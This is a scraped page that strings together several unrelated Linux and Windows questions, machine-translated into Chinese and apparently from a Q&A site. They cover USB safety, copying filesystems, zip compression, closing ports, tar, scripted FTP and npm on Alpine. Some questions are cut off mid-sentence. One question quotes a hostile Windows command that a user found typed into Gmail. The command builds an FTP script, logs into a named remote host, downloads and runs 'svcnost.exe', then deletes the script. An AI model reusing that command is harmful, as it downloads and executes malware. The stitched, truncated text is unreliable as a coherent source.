假设有人要我将一些文件复制到他们的 U 盘。我正在运行完全修补的 Windows 7 x64,禁用自动运行(通过组策略)。我插入 USB 驱动器,在 Windows 资源管理器中打开它并将一些文件复制到其中。我不运行或查看任何现有文件。如果我这样做会发生什么坏事?
如果我在 Linux(例如 Ubuntu)中执行此操作会怎样?
请注意,我在寻找细节的特定风险(如果有的话),而不是“这将是安全的,如果你不这样做”。
我想将整个文件系统层次结构从一个驱动器复制到另一个驱动器......即每个目录的内容以及 Linux 平台中的常规文件。很高兴知道使用可能的 Linux 内置函数来做到这一点的最佳方法。文件系统是一个 ext 系列。
假设我有 10,000 个 XML 文件。现在假设我想将它们发送给朋友。在发送它们之前,我想压缩它们。
结果:
Resulting Size: 62 MB
Percent of initial size: 100%
Run Code Online (Sandbox Code Playgroud)
命令:
for x in $(ls -1) ; do echo $x ; zip "$x.zip" $x ; done
Run Code Online (Sandbox Code Playgroud)
结果:
Resulting Size: 13 MB
Percent of initial size: 20%
Run Code Online (Sandbox Code Playgroud)
命令:
zip all.zip $(ls -1)
Run Code Online (Sandbox Code Playgroud)
结果:
Resulting Size: 12 MB
Percent of initial size: 19%
Run Code Online (Sandbox Code Playgroud)
命令:
cat *.xml > oneFile.txt ; zip …Run Code Online (Sandbox Code Playgroud) 我想关闭客户端和服务器应用程序之间处于侦听模式的开放端口。
Linux 中是否有任何手动命令行选项来关闭端口?
注意: 我开始知道“只有拥有连接的套接字的应用程序才能关闭它,这会在应用程序终止时发生。”
我不明白为什么只有打开它的应用程序才有可能......但我仍然很想知道是否还有其他方法可以做到这一点。
我的家用电脑通常是开着的,但显示器是关着的。今晚我下班回家,发现看起来像是一次黑客攻击:在我的浏览器中,我的 Gmail 是打开的(那是我),但它处于撰写模式,在该TO字段中包含以下内容:
md /c echo open cCTeamFtp.yi.org 21 >> ik &echo user ccteam10 765824 >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit echo 您已拥有
对我来说,这看起来像 Windows 命令行代码,并且代码的md开头加上 Gmail 处于撰写模式的事实,很明显有人试图运行cmd命令。我想我很幸运,我实际上没有在这台 PC 上运行 Windows,但我有其他人这样做。这是有史以来第一次这样的事情发生在我身上。我不是 Linux 专家,当时除了 Firefox 之外我没有运行任何其他程序。
我绝对确定这不是我写的,而且没有其他人在我的电脑旁。此外,我最近将我的 Google 密码(以及我的所有其他密码)更改为类似的内容,vMA8ogd7bv因此我不认为有人入侵了我的 Google 帐户。
刚刚发生了什么?当我的计算机不是运行恶意软件多年的老奶奶的旧 Windows 计算机,而是最近安装的新 Ubuntu 时,有人如何在我的计算机上敲击键盘?
更新:
让我解决一些要点和问题:
我有一些位于不同位置的脚本和文件,例如:
/etc/dir1/var/www/html/home/somedir我想制作一个 tar 文件,以便它复制具有位置结构的文件和文件夹。当我解压到另一个位置时,所有文件都将被复制到正确路径中各自的位置;与制作 tar 的地方相同。
我需要从 Ubuntu 上传一个文件到 FTP 服务器。此操作应在脚本中完成(在非交互模式下)。什么是正确的语法ftp?
我正在尝试这个,但无济于事:
$ ftp -u ftp://user:secret@ftp.example.com my-local-file.txt
ftp: Invalid URL `ftp://'
Run Code Online (Sandbox Code Playgroud) 所以我无法在 alpine linux 中安装 npm。我想也许我可以只做一个apk add npm但显然apk search npm什么都不返回,即使在apk update. 我正在从 nginx:alpine docker 图像中尝试所有这些,即docker run -it nginx:alpine /bin/sh
编辑 1:我可以看到nodejs:alpine dockerfile 是如何构建的node,但我不明白它是如何构建的npm
编辑 2:现在我知道 npm 在 alpine 上与 nodejs 一起安装,只是为了澄清起见,起初这对我来说并不明显的原因是在 ubuntu 14.04 上 asudo apt-get install nodejs仍然需要一个sudo apt-get install npm(例如安装开发包gcc)